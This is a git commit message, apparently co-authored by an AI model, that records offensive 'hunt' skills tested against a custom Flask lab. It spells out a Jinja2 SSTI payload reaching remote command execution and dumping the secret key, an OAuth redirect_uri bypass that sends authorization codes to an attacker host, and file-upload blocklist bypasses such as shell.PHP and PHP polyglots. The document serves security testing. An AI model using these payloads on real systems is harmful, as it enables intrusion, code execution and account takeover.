Files
Sachin SharmaandClaude Opus 4.7 9d06b6b693 Phase 2F: SSTI + OAuth + file upload — 3 more skill areas verified
Three new skill areas exercised live against a custom Flask lab:

- hunt-ssti: Jinja2 {{ 7*7 }} → class-walker RCE via cycler.__init__.
  __globals__.os.popen('id').read() landed on host (uid=501).
  Plus {{ config }} dumps Flask SECRET_KEY.

- hunt-oauth: redirect_uri prefix-match validation broken 4 ways. Two
  landed exploitably:
  * Attack B (userinfo @-bypass): https://acme.example/@evil.example.com/
    accepted server-side, browser sends auth code to evil.example.com
    per RFC 3986 userinfo parsing — full ATO chain
  * Attack D (missing state): server omits state from redirect,
    confirming OAuth account-link CSRF
  Attacks A and C accepted server-side but normalized by browser/Werkzeug.

- hunt-file-upload: 8 distinct bypass techniques against extension blocklist:
  * Case sensitivity (shell.PHP)
  * Double extension (shell.php.jpg)
  * Alternative PHP extensions (.phar, .pht, .phps, .inc, .phtm)
  * SVG XSS upload (served as image/svg+xml on same origin)
  * JPEG-magic polyglot (.phar with PHP body)
  Defense bypassed every way hunt-file-upload's payload library lists.

Combined Phase 2 verification now: 19+ skills exercised live or by source,
7 distinct skill-content gaps catalogued and closed.

Lab source at docs/verification/phase2f-lab/app.py (192 lines, shippable).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-16 02:03:39 +05:30
..